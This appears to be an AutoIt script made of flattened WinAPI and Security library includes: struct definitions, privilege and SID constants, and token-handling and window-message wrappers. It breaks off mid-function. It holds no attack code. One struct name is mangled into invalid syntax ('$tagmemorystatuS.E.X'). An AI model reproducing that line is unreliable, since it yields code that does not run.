Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $tagrect & ";uint uChevronState"
Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
Global Const $tagbitmapinfo = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad"
Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
Global Const $tagguid = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
Global Const $error_no_token = 1008
Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
Global Const $se_audit_name = "SeAuditPrivilege"
Global Const $se_backup_name = "SeBackupPrivilege"
Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
Global Const $se_create_token_name = "SeCreateTokenPrivilege"
Global Const $se_debug_name = "SeDebugPrivilege"
Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
Global Const $se_impersonate_name = "SeImpersonatePrivilege"
Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
Global Const $se_restore_name = "SeRestorePrivilege"
Global Const $se_security_name = "SeSecurityPrivilege"
Global Const $se_shutdown_name = "SeShutdownPrivilege"
Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
Global Const $se_systemtime_name = "SeSystemtimePrivilege"
Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
Global Const $se_tcb_name = "SeTcbPrivilege"
Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
Global Const $se_undock_name = "SeUndockPrivilege"
Global Const $se_privilege_enabled_by_default = 1
Global Const $se_privilege_enabled = 2
Global Const $se_privilege_removed = 4
Global Const $se_privilege_used_for_access = -2147483648
Global Const $se_group_mandatory = 1
Global Const $se_group_enabled_by_default = 2
Global Const $se_group_enabled = 4
Global Const $se_group_owner = 8
Global Const $se_group_use_for_deny_only = 16
Global Const $se_group_integrity = 32
Global Const $se_group_integrity_enabled = 64
Global Const $se_group_resource = 536870912
Global Const $se_group_logon_id = -1073741824
Global Enum $tokenprimary = 1, $tokenimpersonation
Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation
Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid
Global Const $token_assign_primary = 1
Global Const $token_duplicate = 2
Global Const $token_impersonate = 4
Global Const $token_query = 8
Global Const $token_query_source = 16
Global Const $token_adjust_privileges = 32
Global Const $token_adjust_groups = 64
Global Const $token_adjust_default = 128
Global Const $token_adjust_sessionid = 256
Global Const $token_all_access = 983551
Global Const $token_read = 131080
Global Const $token_write = 131296
Global Const $token_execute = 131072
Global Const $token_has_traverse_privilege = 1
Global Const $token_has_backup_privilege = 2
Global Const $token_has_restore_privilege = 4
Global Const $token_has_admin_group = 8
Global Const $token_is_restricted = 16
Global Const $token_session_not_referenced = 32
Global Const $token_sandbox_inert = 64
Global Const $token_has_impersonate_privilege = 128
Global Const $rights_delete = 65536
Global Const $read_control = 131072
Global Const $write_dac = 262144
Global Const $write_owner = 524288
Global Const $synchronize = 1048576
Global Const $standard_rights_required = 983040
Global Const $standard_rights_read = $read_control
Global Const $standard_rights_write = $read_control
Global Const $standard_rights_execute = $read_control
Global Const $standard_rights_all = 2031616
Global Const $specific_rights_all = 65535
Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure
Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer
Global Const $logon_with_profile = 1
Global Const $logon_netcredentials_only = 2
Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel
Global Const $sid_administrators = "S-1-5-32-544"
Global Const $sid_users = "S-1-5-32-545"
Global Const $sid_guests = "S-1-5-32-546"
Global Const $sid_account_operators = "S-1-5-32-548"
Global Const $sid_server_operators = "S-1-5-32-549"
Global Const $sid_print_operators = "S-1-5-32-550"
Global Const $sid_backup_operators = "S-1-5-32-551"
Global Const $sid_replicator = "S-1-5-32-552"
Global Const $sid_owner = "S-1-3-0"
Global Const $sid_everyone = "S-1-1-0"
Global Const $sid_network = "S-1-5-2"
Global Const $sid_interactive = "S-1-5-4"
Global Const $sid_system = "S-1-5-18"
Global Const $sid_authenticated_users = "S-1-5-11"
Global Const $sid_schannel_authentication = "S-1-5-64-14"
Global Const $sid_digest_authentication = "S-1-5-64-21"
Global Const $sid_nt_service = "S-1-5-80"
Global Const $sid_untrusted_mandatory_level = "S-1-16-0"
Global Const $sid_low_mandatory_level = "S-1-16-4096"
Global Const $sid_medium_mandatory_level = "S-1-16-8192"
Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448"
Global Const $sid_high_mandatory_level = "S-1-16-12288"
Global Const $sid_system_mandatory_level = "S-1-16-16384"
Global Const $sid_protected_process_mandatory_level = "S-1-16-20480"
Global Const $sid_secure_process_mandatory_level = "S-1-16-28672"
Global Const $sid_all_services = "S-1-5-80-0"
Func _winapi_getlasterror($curerr = @error, $curext = @extended)
Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
Return SetError($curerr, $curext, $aresult[0])
EndFunc
Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended)
DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode)
Return SetError($curerr, $curext)
EndFunc
Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired)
If @error Then Return SetError(1, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information)
Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
Return True
EndFunc
Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype)
Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[6]
EndFunc
Func _security__getaccountsid($saccount, $ssystem = "")
Local $aacct = _security__lookupaccountname($saccount, $ssystem)
If @error Then Return SetError(@error, @extended, 0)
If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0])
Return ""
EndFunc
Func _security__getlengthsid($psid)
If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid)
If @error Then Return SetError(2, @extended, 0)
Return $acall[0]
EndFunc
Func _security__gettokeninformation($htoken, $iclass)
Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0)
If @error OR NOT $acall[5] Then Return SetError(1, @extended, 0)
Local $ilen = $acall[5]
Local $tbuffer = DllStructCreate("byte[" & $ilen & "]")
$acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
Return $tbuffer
EndFunc
Func _security__impersonateself($ilevel = $securityimpersonation)
Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
If @error Then Return SetError(1, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__isvalidsid($psid)
Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid)
If @error Then Return SetError(1, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__lookupaccountname($saccount, $ssystem = "")
Local $tdata = DllStructCreate("byte SID[256]")
Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Local $aacct[3]
$aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID"))
$aacct[1] = $acall[5]
$aacct[2] = $acall[7]
Return $aacct
EndFunc
Func _security__lookupaccountsid($vsid, $ssystem = "")
Local $psid, $aacct[3]
If IsString($vsid) Then
$psid = _security__stringsidtosid($vsid)
Else
$psid = $vsid
EndIf
If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
Local $typesystem = "ptr"
If $ssystem Then $typesystem = "wstr"
Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $typesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
Local $aacct[3]
$aacct[0] = $acall[3]
$aacct[1] = $acall[5]
$aacct[2] = $acall[7]
Return $aacct
EndFunc
Func _security__lookupprivilegevalue($ssystem, $sname)
Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[3]
EndFunc
Func _security__openprocesstoken($hprocess, $iaccess)
Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[3]
EndFunc
Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False)
If $hthread = 0 Then $hthread = _winapi_getcurrentthread()
If @error Then Return SetError(1, @extended, 0)
Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $fopenasself, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
Return $acall[4]
EndFunc
Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False)
Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
If $htoken = 0 Then
If _winapi_getlasterror() <> $error_no_token Then Return SetError(3, _winapi_getlasterror(), 0)
If NOT _security__impersonateself() Then Return SetError(1, _winapi_getlasterror(), 0)
$htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
If $htoken = 0 Then Return SetError(2, _winapi_getlasterror(), 0)
EndIf
Return $htoken
EndFunc
Func _security__setprivilege($htoken, $sprivilege, $fenable)
Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
If $iluid = 0 Then Return SetError(1, @extended, False)
Local $tcurrstate = DllStructCreate($tagtoken_privileges)
Local $icurrstate = DllStructGetSize($tcurrstate)
Local $tprevstate = DllStructCreate($tagtoken_privileges)
Local $iprevstate = DllStructGetSize($tprevstate)
Local $trequired = DllStructCreate("int Data")
DllStructSetData($tcurrstate, "Count", 1)
DllStructSetData($tcurrstate, "LUID", $iluid)
If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False)
DllStructSetData($tprevstate, "Count", 1)
DllStructSetData($tprevstate, "LUID", $iluid)
Local $iattributes = DllStructGetData($tprevstate, "Attributes")
If $fenable Then
$iattributes = BitOR($iattributes, $se_privilege_enabled)
Else
$iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
EndIf
DllStructSetData($tprevstate, "Attributes", $iattributes)
If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False)
Return True
EndFunc
Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength)
Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
Return True
EndFunc
Func _security__sidtostringsid($psid)
If NOT _security__isvalidsid($psid) Then Return SetError(1, 0, "")
Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0)
If @error OR NOT $acall[0] Then Return SetError(2, @extended, "")
Local $pstringsid = $acall[2]
Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & _winapi_stringlenw($pstringsid) + 1 & "]", $pstringsid), "Text")
_winapi_localfree($pstringsid)
Return $ssid
EndFunc
Func _security__sidtypestr($itype)
Switch $itype
Case $sidtypeuser
Return "User"
Case $sidtypegroup
Return "Group"
Case $sidtypedomain
Return "Domain"
Case $sidtypealias
Return "Alias"
Case $sidtypewellknowngroup
Return "Well Known Group"
Case $sidtypedeletedaccount
Return "Deleted Account"
Case $sidtypeinvalid
Return "Invalid"
Case $sidtypeunknown
Return "Unknown Type"
Case $sidtypecomputer
Return "Computer"
Case $sidtypelabel
Return "A mandatory integrity label SID"
Case Else
Return "Unknown SID Type"
EndSwitch
EndFunc
Func _security__stringsidtosid($ssid)
Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Local $psid = $acall[2]
Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid)
Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]")
DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
_winapi_localfree($psid)
Return $tsid
EndFunc
Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Global $__gainprocess_winapi[64][2] = [[0, 0]]
Global $__gawinlist_winapi[64][2] = [[0, 0]]
Global Const $__winapiconstant_wm_setfont = 48
Global Const $__winapiconstant_fw_normal = 400
Global Const $__winapiconstant_default_charset = 1
Global Const $__winapiconstant_out_default_precis = 0
Global Const $__winapiconstant_clip_default_precis = 0
Global Const $__winapiconstant_default_quality = 0
Global Const $__winapiconstant_format_message_allocate_buffer = 256
Global Const $__winapiconstant_format_message_from_system = 4096
Global Const $__winapiconstant_logpixelsx = 88
Global Const $__winapiconstant_logpixelsy = 90
Global Const $hgdi_error = Ptr(-1)
Global Const $invalid_handle_value = Ptr(-1)
Global Const $clr_invalid = -1
Global Const $__winapiconstant_flashw_caption = 1
Global Const $__winapiconstant_flashw_tray = 2
Global Const $__winapiconstant_flashw_timer = 4
Global Const $__winapiconstant_flashw_timernofg = 12
Global Const $__winapiconstant_gw_hwndnext = 2
Global Const $__winapiconstant_gw_child = 5
Global Const $__winapiconstant_di_mask = 1
Global Const $__winapiconstant_di_image = 2
Global Const $__winapiconstant_di_normal = 3
Global Const $__winapiconstant_di_compat = 4
Global Const $__winapiconstant_di_defaultsize = 8
Global Const $__winapiconstant_di_nomirror = 16
Global Const $__winapiconstant_display_device_attached_to_desktop = 1
Global Const $__winapiconstant_display_device_primary_device = 4
Global Const $__winapiconstant_display_device_mirroring_driver = 8
Global Const $__winapiconstant_display_device_vga_compatible = 16
Global Const $__winapiconstant_display_device_removable = 32
Global Const $__winapiconstant_display_device_modespruned = 134217728
Global Const $null_brush = 5
Global Const $null_pen = 8
Global Const $black_brush = 4
Global Const $dkgray_brush = 3
Global Const $dc_brush = 18
Global Const $gray_brush = 2
Global Const $hollow_brush = $null_brush
Global Const $ltgray_brush = 1
Global Const $white_brush = 0
Global Const $black_pen = 7
Global Const $dc_pen = 19
Global Const $white_pen = 6
Global Const $ansi_fixed_font = 11
Global Const $ansi_var_font = 12
Global Const $device_default_font = 14
Global Const $default_gui_font = 17
Global Const $oem_fixed_font = 10
Global Const $system_font = 13
Global Const $system_fixed_font = 16
Global Const $default_palette = 15
Global Const $mb_precomposed = 1
Global Const $mb_composite = 2
Global Const $mb_useglyphchars = 4
Global Const $ulw_alpha = 2
Global Const $ulw_colorkey = 1
Global Const $ulw_opaque = 4
Global Const $wh_callwndproc = 4
Global Const $wh_callwndprocret = 12
Global Const $wh_cbt = 5
Global Const $wh_debug = 9
Global Const $wh_foregroundidle = 11
Global Const $wh_getmessage = 3
Global Const $wh_journalplayback = 1
Global Const $wh_journalrecord = 0
Global Const $wh_keyboard = 2
Global Const $wh_keyboard_ll = 13
Global Const $wh_mouse = 7
Global Const $wh_mouse_ll = 14
Global Const $wh_msgfilter = -1
Global Const $wh_shell = 10
Global Const $wh_sysmsgfilter = 6
Global Const $wpf_asyncwindowplacement = 4
Global Const $wpf_restoretomaximized = 2
Global Const $wpf_setminposition = 1
Global Const $kf_extended = 256
Global Const $kf_altdown = 8192
Global Const $kf_up = 32768
Global Const $llkhf_extended = BitShift($kf_extended, 8)
Global Const $llkhf_injected = 16
Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
Global Const $llkhf_up = BitShift($kf_up, 8)
Global Const $ofn_allowmultiselect = 512
Global Const $ofn_createprompt = 8192
Global Const $ofn_dontaddtorecent = 33554432
Global Const $ofn_enablehook = 32
Global Const $ofn_enableincludenotify = 4194304
Global Const $ofn_enablesizing = 8388608
Global Const $ofn_enabletemplate = 64
Global Const $ofn_enabletemplatehandle = 128
Global Const $ofn_explorer = 524288
Global Const $ofn_extensiondifferent = 1024
Global Const $ofn_filemustexist = 4096
Global Const $ofn_forceshowhidden = 268435456
Global Const $ofn_hidereadonly = 4
Global Const $ofn_longnames = 2097152
Global Const $ofn_nochangedir = 8
Global Const $ofn_nodereferencelinks = 1048576
Global Const $ofn_nolongnames = 262144
Global Const $ofn_nonetworkbutton = 131072
Global Const $ofn_noreadonlyreturn = 32768
Global Const $ofn_notestfilecreate = 65536
Global Const $ofn_novalidate = 256
Global Const $ofn_overwriteprompt = 2
Global Const $ofn_pathmustexist = 2048
Global Const $ofn_readonly = 1
Global Const $ofn_shareaware = 16384
Global Const $ofn_showhelp = 16
Global Const $ofn_ex_noplacesbar = 1
Global Const $tmpf_fixed_pitch = 1
Global Const $tmpf_vector = 2
Global Const $tmpf_truetype = 4
Global Const $tmpf_device = 8
Global Const $duplicate_close_source = 1
Global Const $duplicate_same_access = 2
Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
Global Const $tagmemorystatuS.E.X = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
Func _winapi_attachconsole($iprocessid = -1)
Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_attachthreadinput($iattach, $iattachto, $fattach)
Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_beep($ifreq = 500, $iduration = 1000)
Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
